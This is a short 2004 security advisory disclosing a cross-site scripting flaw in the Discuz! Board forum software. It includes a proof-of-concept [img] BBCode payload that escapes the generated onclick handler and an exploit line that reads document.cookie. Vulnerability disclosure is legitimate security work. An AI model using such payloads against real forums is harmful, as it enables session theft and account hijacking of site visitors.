Possible Cross Site Scripting in Discuz! Board

[Cheng Peng Su <apple_soup () msn com>]

Advisory Name:Possible Cross Site Scripting in Discuz! Board
Release Date: Feb 5,2004
Application: Discuz! Board
Version Affected: 2.x , 3.x
Platform: PHP
Severity: Low
Discover: Cheng Peng Su(apple_soup_at_msn.com)
Vendor URL: http://www.discuz.com/
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Proof Of Concept:
   A thread including:
       [img]http://a.gif');(xss code);a=escape('a[/img]
   will be 
       <img src="http://a.gif&apos;);(xss code);a=escape=('a" border="0" onload="if(this.width>screen.width*0.7) 
{this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window';}" 
onmouseover="if(this.resized) this.style.cursor='hand';" onclick="if(this.resized) 
window.open('http://site/pic.gif&apos;);(xss code);a=escape('a');">

   So there will be a red 'x' instead of a normal pic,if visitor click the red 'x',the code will be executed.
   I think you know why i add " ;a=escape('a " after the xss code.

Exploit:
   [img]http://a.gif&apos;);alert(document.cookie);a=escape=('a[/img]